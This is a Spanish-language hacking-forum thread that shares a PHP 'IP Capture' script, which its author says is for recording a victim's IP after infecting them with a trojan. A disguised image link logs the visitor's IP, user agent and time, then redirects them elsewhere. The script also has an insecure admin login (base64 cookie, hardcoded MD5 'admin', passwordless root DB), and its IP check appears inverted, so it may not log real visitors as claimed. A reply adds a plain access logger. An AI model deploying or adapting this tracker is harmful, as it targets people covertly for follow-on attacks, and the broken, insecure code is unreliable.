elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Desarrollo Web
| | |-+  PHP (Moderador: #!drvy)
| | | |-+  [PHP] IP Capture 0.2
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [PHP] IP Capture 0.2  (Leído 2,312 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[PHP] IP Capture 0.2
« en: 27 Enero 2014, 19:08 pm »

Un simple programa en PHP para capturar la IP de algun visitante , en realidad no funciona como contador y esas cosas , lo hice pensando en capturar la IP de alguien despues de infectarlo con cualquier cosa ya sea troyano u otras cosas.
La idea es asi , mandarle a la victima la url con ?id= , por ejemplo en mi caso el archivo es image.php , entonces para mandarle a la victima seria asi :

http://localhost/images/image.php?id=

De esa forma el programa captura la IP y la hora , despues de esto el programa redirecciona a la url marcada por ustedes en la configuracion del programa.

Para entrar a la administracion es asi :

http://localhost/images/image.php?admin=

El codigo :

Código
  1. <?php
  2.  
  3. // IP Capture 0.2
  4. // Written By Doddy Hackman in the summer of the 2014
  5.  
  6. //Edit
  7.  
  8. $username = "admin";
  9. $password = "21232f297a57a5a743894a0e4a801fc3"; //admin
  10. $host = "localhost";
  11. $userw = "root";
  12. $passw = "";
  13. $db = "ip";
  14.  
  15. //
  16.  
  17. if (isset($_GET['id'])) {
  18.    mysql_connect($host, $userw, $passw);
  19.    mysql_select_db($db);
  20.    $ipa = ip2long($_SERVER[REMOTE_ADDR]);
  21.    $ip = mysql_real_escape_string($_SERVER[REMOTE_ADDR]);
  22.    $agente = mysql_real_escape_string($_SERVER['HTTP_USER_AGENT']);
  23.    $hora = mysql_real_escape_string(date('l jS \of F Y h:i:s A'));
  24.    if ($ipa == - 1 || $ipa === FALSE || $ip == "127.0.0.1") {
  25.        //echo $ip."<br>";
  26.        //echo $agente."<br>";
  27.        //echo $hora."<br>";
  28.        mysql_query("INSERT INTO ips (id,ip,useragent,hora) values (NULL,'$ip','$agente','$hora')");
  29.        $link = mysql_query("select link from links where id=1");
  30.        if ($valor = mysql_fetch_array($link)) {
  31.            echo "<meta http-equiv='Refresh' content='0;url=$valor[0]'>";
  32.        }
  33.    } else {
  34.        echo "<script>alert('Good Try Bitch');</script>";
  35.    }
  36.    mysql_close();
  37. } elseif (isset($_GET['admin'])) {
  38.    if (isset($_COOKIE['portal'])) {
  39.        $st = base64_decode($_COOKIE['portal']);
  40.        $plit = split("@", $st);
  41.        $user = $plit[0];
  42.        $pass = $plit[1];
  43.        if ($user == $username and $pass == $password) {
  44.            darcolor();
  45.            mysql_connect($host, $userw, $passw);
  46.            mysql_select_db($db);
  47.            if (isset($_POST['instalar'])) {
  48.                $todo = "create table ips (
  49. id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  50. ip TEXT NOT NULL,
  51. useragent TEXT NOT NULL,
  52. hora TEXT NOT NULL,
  53. PRIMARY KEY(id));
  54. ";
  55.                $todo2 = "create table links (
  56. id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  57. link TEXT NOT NULL,
  58. PRIMARY KEY(id));
  59. ";
  60.                if (mysql_query($todo)) {
  61.                    if (mysql_query($todo2)) {
  62.                        mysql_query("INSERT INTO links (id,link) values (NULL,'http://www.google.com')");
  63.                        echo "<script>alert('Installed');</script>";
  64.                        echo '<meta http-equiv="refresh" content=0;URL=>';
  65.                    }
  66.                } else {
  67.                    echo "<script>alert('Error');</script>";
  68.                }
  69.            }
  70.            if (mysql_num_rows(mysql_query("show tables like 'ips'"))) {
  71.                //Lo demas
  72.                echo "<table border=1 style='margin: 0 auto;'>";
  73.                echo "<title>IP Capture Administration 0.2</title>";
  74.                echo "<td><br><center><h1><b>IP Capture Administration 0.2</h1></b></center><br><br></td><tr>";
  75.                if (isset($_GET['del'])) {
  76.                    $id = $_GET['del'];
  77.                    if (is_numeric($id)) {
  78.                        if (mysql_query("delete from ips where id ='$id'")) {
  79.                            echo "<script>alert('Deleted');</script>";
  80.                        } else {
  81.                            echo "<script>alert('Error');</script>";
  82.                        }
  83.                    }
  84.                }
  85.                if (isset($_POST['linknuevo'])) {
  86.                    $linkar = mysql_real_escape_string($_POST['linknuevo']);
  87.                    if (mysql_query("update links set link='$linkar' where id=1")) {
  88.                        echo "<script>alert('Changed');</script>";
  89.                    } else {
  90.                        echo "<script>alert('Error');</script>";
  91.                    }
  92.                }
  93.                echo "<td>
  94. <center><table borde=1><td>
  95. <h2><center><br>Update Link</center></h2></td><tr><br><br><td>
  96. <form action='?admin=na&linknuevo' method=POST><br>
  97. <b>Link : </b><input type=text size=50 name=linknuevo value=";
  98.                $link = mysql_query("select link from links where id=1");
  99.                if ($valor = mysql_fetch_array($link)) {
  100.                    echo $valor[0];
  101.                }
  102.                echo "></td><tr><td><center><br><input type=submit value=Changed></center><br></td><tr></table><br>
  103. </form></td><tr>
  104. <br><td>";
  105.                $iny = htmlentities("http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?id=");
  106.                echo "<center><table border=1><br>";
  107.                echo "<td><h2><br><center>Link to Send</center></h2></td><tr>";
  108.                echo "<td><input text=gen size=100 value=" . $iny . "></td><tr>";
  109.                echo "<br></table></center><br>";
  110.                echo "<br><center><table border=1>
  111. <td><h2><center>Logs</center></h2></td><tr><td>
  112. <table border=1>
  113. <td>ID</td><td>IP</td><td>UserAgent</td><td>DateTime</td><td>Option</td><tr>";
  114.                $sen = @mysql_query("select * from ips order by id ASC");
  115.                while ($ab = @mysql_fetch_array($sen)) {
  116.                    echo "<td>" . htmlentities($ab[0]) . "</td><td>" . htmlentities($ab[1]) . "</td><td>" . htmlentities($ab[2]) . "</td><td>" . htmlentities($ab[3]) . "</td><td><a href=?admin=na&del=" . htmlentities($ab[0]) . ">Delete</a></td><tr>";
  117.                }
  118.                echo "</table></center><br><br><br></td>
  119. </center>
  120. </td><tr></table>
  121. ";
  122.                echo "<br><br><br><center><h1>-- == (C) Doddy Hackman 2014 == --</h1></center><br><br></table>";
  123.                //
  124.  
  125.            } else {
  126.                echo "
  127. <center><br><br>
  128. <form action='' method=POST>
  129. <h2>You want to install IP Capture 0.2 ?</h2><br><br>
  130. <input type=submit name=instalar value=Install>
  131. </form>";
  132.            }
  133.            mysql_close();
  134.            exit(1);
  135.            // End
  136.  
  137.        } else {
  138.            echo "<script>alert('Fuck You');</script>";
  139.        }
  140.    }
  141.    if (isset($_POST['login'])) {
  142.        if ($_POST['user'] == $username and md5($_POST['password']) == $password) {
  143.            setcookie("portal", base64_encode($_POST['user'] . "@" . md5($_POST['password'])));
  144.            echo "<script>alert('Welcome Idiot');</script>";
  145.            echo '<meta http-equiv="refresh" content=0;URL=?admin=>';
  146.        } else {
  147.            echo "<script>alert('Fuck You');</script>";
  148.        }
  149.    } else {
  150.        darcolor();
  151.        echo "
  152. <title>IP Capture 0.2</title>
  153. <br><h1><center>IP Capture 0.2</center></h1>
  154. <br><br><center>
  155. <form action='' method=POST>
  156. Username : <input type=text name=user><br>
  157. Password : <input type=text name=password><br><br>
  158. <input type=submit name=login value=Enter><br>
  159. </form>
  160. </center><br><br>";
  161.    }
  162. } else {
  163.    mysql_connect($host, $userw, $passw);
  164.    mysql_select_db($db);
  165.    $link = mysql_query("select link from links where id=1");
  166.    if ($valor = mysql_fetch_array($link)) {
  167.        echo "<meta http-equiv='Refresh' content='0;url=$valor[0]'>";
  168.    }
  169.    mysql_close();
  170. }
  171. function darcolor() {
  172.    echo '<style type="text/css">
  173.  
  174.  
  175. .main {
  176. margin            : -287px 0px 0px -490px;
  177. border            : White solid 1px;
  178. BORDER-COLOR: #00FF00;
  179. }
  180.  
  181.  
  182. #pie {
  183. position: absolute;
  184. bottom: 0;
  185. }
  186.  
  187. body,a:link {
  188. background-color: #000000;
  189. color:#00FF00;
  190. Courier New;
  191. cursor:crosshair;
  192. font-size: small;
  193. }
  194.  
  195. input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
  196. font: normal 10px Verdana, Arial, Helvetica,
  197. sans-serif;
  198. background-color:black;color:#00FF00;
  199. border: solid 1px #00FF00;
  200. border-color:#00FF00
  201. }
  202.  
  203. a:link,a:visited,a:active {
  204. color: #00FF00;
  205. font: normal 10px Verdana, Arial, Helvetica,
  206. sans-serif;
  207. text-decoration: none;
  208. }
  209.  
  210. </style>';
  211. }
  212.  
  213. // The End ?
  214.  
  215. ?>    
  216.  


« Última modificación: 27 Enero 2014, 19:10 pm por Doddy » En línea

el_junior

Desconectado Desconectado

Mensajes: 11



Ver Perfil WWW
Re: [PHP] IP Capture 0.2
« Respuesta #1 en: 13 Febrero 2014, 21:36 pm »

yo he echo algo parecido pero para crear un log de ips en un archivo lo unico que mi codigo dice el pais de la ip
Código
  1. <?php
  2. function alinear($cadena,$max){
  3. $puntos="";
  4. $menos=$max - strlen($cadena);
  5. for ($i=1; $i<=$menos; $i++){
  6. $puntos=$puntos.".";
  7. }
  8. return $cadena.$puntos;
  9. }
  10. function pais($_IP){
  11. $GetPais=file_get_contents("https://www.countryipblocks.net/search_ip.php?search_ip=".$_IP);
  12. preg_match_all("|<strong>IP Address assigned to:(.*)</strong>|sU", $GetPais, $PaisMatch);
  13.  
  14. if (isset($PaisMatch[1][0])) return $PaisMatch[1][0];
  15. }
  16. $IP=$_SERVER['REMOTE_ADDR'];
  17. $archivo="acceso2.log";
  18. $contenido=date("d-m-Y H:i")."| ".alinear($IP,15)."|".alinear(pais($IP),30)."| ".alinear($_SERVER['REQUEST_URI'],50)."| ".alinear($_SERVER['HTTP_USER_AGENT'],140). "\n";
  19. if (is_writable($archivo)) {
  20.    $gestor = fopen($archivo, 'a');
  21.    fwrite($gestor, $contenido);
  22.    fclose($gestor);
  23. }
  24. ?>
  25.  
nose si hay otra forma de sacar el pais de una ip pero este me funciona tengo un codigo parecido pero utilizo base de datos para almacenar el pais de la ip y asi no hacer otra peticion a la pagina esa


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Screen Capture R00lz « 1 2 3 »
Programación Visual Basic
adictoxxx 21 5,585 Último mensaje 23 Diciembre 2006, 17:03 pm
por Hans el Topo
capture cam web « 1 2 »
Programación Visual Basic
<[(x)]> 11 5,423 Último mensaje 22 Febrero 2010, 04:14 am
por <[(x)]>
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines